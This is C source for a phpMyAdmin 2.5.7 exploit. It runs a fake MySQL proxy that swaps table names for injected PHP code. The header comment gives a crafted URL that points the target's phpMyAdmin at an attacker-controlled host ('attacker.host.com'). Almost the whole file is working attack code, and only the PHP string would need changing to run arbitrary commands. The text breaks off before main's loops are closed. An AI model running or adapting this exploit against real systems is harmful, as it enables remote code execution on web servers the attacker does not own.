/*
* phpmy-explt.c
* written by Nasir Simbolon <nasir@kecapi.com>
* http://eagle.kecapi.com
* Jakarta, Indonesia
*
* June, 10 2004
*
* A phpMyAdmin-2.5.7 exploite program.
* This is a kind of mysql server wrapper acts
like a proxy except that it will sends a fake table
name,
* when client query "SHOW TABLES", by replacing the
real table name with a string contains exploite
codes.
*
* Compile : gcc phpmy-explt.c -o phpmy-explt
*
* run with
* ./phpmy-explt
*
* and go to your target and put
*
*
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
[4][host]=attacker.host.com&cfg[Servers][4]
[port]=8889&cfg[Servers][4]
[auth_type]=config&cfg[Servers][4]
[user]=user&cfg[Servers][4]
[password]=pass&cfg[Servers][4]
[connect_type]=tcp&&cfg[Servers][4]
[only_db]=databasename
*
* fill host,port,user,pass and databasename
correctly
*
*/

#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>

#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"

#define BUFFER_LEN 1024

/* This is php code we want to inject into phpMyAdmin
Do NOT use single quote (') in the string, use
double quote (") instead
*/
char *phpcodes =
"exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";

/* This is examples codes I captured when mysql
server
reply to client's request of query "SHOW TABLES"
query.
It shows database name 'phpmy' and contain one
tablename 'mytable'
Our aim is to manipulate the data received from
mysql server
by replacing 'mytable' with our exploide codes.

0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
-2 ,8 ,0x0 ,0x0 ,0x4 ,7 ,'m' ,'y' ,'t' ,'a' ,
'b' ,'l' ,'e' ,0x1 ,0 ,0 ,0x5 ,-2
*/

int build_exploite_code(char* dbname,char*
phpcodes,char** expcode)
{
char my1[21] =
{0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_'};
/* part of dbname ('p' ,'h' ,'p' ,'m' ,'y') */
char my2[15] =
{0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,
0x1 ,0x0 ,0x0 ,0x3 ,-2};
/* part of int phpcodes string length +1 (8) */
char my3[3] = {0x0 ,0x0 ,0x4};
/* part of int phpcodes string length (7) */
/* part of tablename
('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
char my4[5] = {0x1 ,0 ,0 ,0x5 ,-2};

int len,i;

len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +
strlen(phpcodes) + 5 + 5;
*expcode = (char*) malloc(sizeof(char) * len);

i = 0;
bcopy(&my1[0],*expcode + i,21);
i += 21;
bcopy(dbname, *expcode + i,strlen(dbname));
i += strlen(dbname);
bcopy(&my2[0],*expcode + i,15);
i += 15;
(*expcode)[i] = 5 + strlen(phpcodes) + 1;
i ++;
bcopy(&my3[0],*expcode + i,3);
i += 3;
(*expcode)[i++] = 5 + strlen(phpcodes);
/* this is our exploite codes*/
(*expcode)[i++] = '\\';
(*expcode)[i++] = '\'';
(*expcode)[i++] = ';';
bcopy(phpcodes,*expcode + i,strlen(phpcodes));
i += strlen(phpcodes);
(*expcode)[i++] = '/';
(*expcode)[i++] = '*';
bcopy(&my4[0],*expcode + i,5);

return len;
}

/* connect to mysql server*/

int connect_mysql()
{
int s2;
struct sockaddr_in ina;
struct hostent *h;

h = gethostbyname(HOSTNAME);
/* set internet address */
bcopy(h->h_addr,(void
*)&ina.sin_addr,h->h_length);
ina.sin_family = AF_INET;
ina.sin_port = htons(MYSQL_PORT);
//ina.sin_zero[0]='\0';
if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");

if(connect(s2,(struct sockaddr
*)&ina,sizeof(ina)) < 0 )
perror("connect()");
return s2;
}

/* listener */
int listener()
{
int s1;
int opt;
struct sockaddr_in ina;

/* set internet address */
ina.sin_family = AF_INET;
ina.sin_port = htons(BIND_PORT);
ina.sin_addr.s_addr = INADDR_ANY;

if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");

opt = 1;
setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char
*)&opt, sizeof(opt) );

if(bind(s1,(struct sockaddr
*)&ina,sizeof(ina))==-1)
perror("Bind: ");

if(listen(s1, 10) == -1)
perror("Listen");

return s1;
}

int main(int argc,char* argv[])
{
struct sockaddr_in ina1;
int ina1_l;
int s_daemon,s_mysql;
size_t byte_read,byte_written;
char *buf;
int sc,event,n_select;
fd_set rfds;
struct timeval tv;
int exptlen,i;
char *expt;
char *dbname=DATABASE;

buf = (char*) malloc(sizeof(char) *
(BUFFER_LEN));
tv.tv_sec = 15;
tv.tv_usec = 0;

/* we listen to port */
s_daemon = listener();

exptlen =
build_exploite_code(dbname,phpcodes,&expt);

for(;;)
{
fprintf(stderr,"waiting for
connection\n");

if( -1 == (sc = accept(s_daemon,(struct
sockaddr *) &ina1,&ina1_l)) )
perror("accept()");
/* if we get here, we have a new
connection */
fprintf(stderr,"got client connection\n");
mysql:
/* connect to mysql */
s_mysql = connect_mysql();

for(;;)
{
FD_ZERO(&rfds);
FD_SET(sc,&rfds);
FD_SET(s_mysql,&rfds);

n_select = (sc > s_mysql)? sc :
s_mysql;

event =
select(n_select+1,&rfds,NULL,NULL,NULL);
if(-1 == event)
perror("select()");
else
{
if(FD_ISSET(s_mysql,&rfds))
{
byte_read =
read(s_mysql,buf,BUFFER_LEN);
/* check for closing client
connection*/
if(byte_read == 0)
{
shutdown(s_mysql,SHUT_RDWR);
close(s_mysql);
goto mysql;
}

/* check data received from
mysql server.
* if buf[11] contain 'T',
data received from mysq server is table list
*
* NOW we replace the table
with our exploite codes and send them to client
*/
if( 'T' == buf[11])
{
for(i=0;i<exptlen;i++)
buf[i] = expt[i];
byte_read = exptlen;
}

if(write(sc, buf, byte_read) < 0)
break;
}

if(FD_ISSET(sc,&rfds))
{
byte_read =
read(sc,buf,BUFFER_LEN);
/* check for closing client
connection*/
if(byte_read == 0)
{
close(sc);
break;
}

if(write(s_mysql,buf,byte_read) < 0)
break;
}
#if defined(DEBUG)
fprintf(stderr,"data:\n");
for(i=0;i<byte_read;i++)
fprint(stderr," %c(%x) ",buf[i],buf[i]);
#endif
}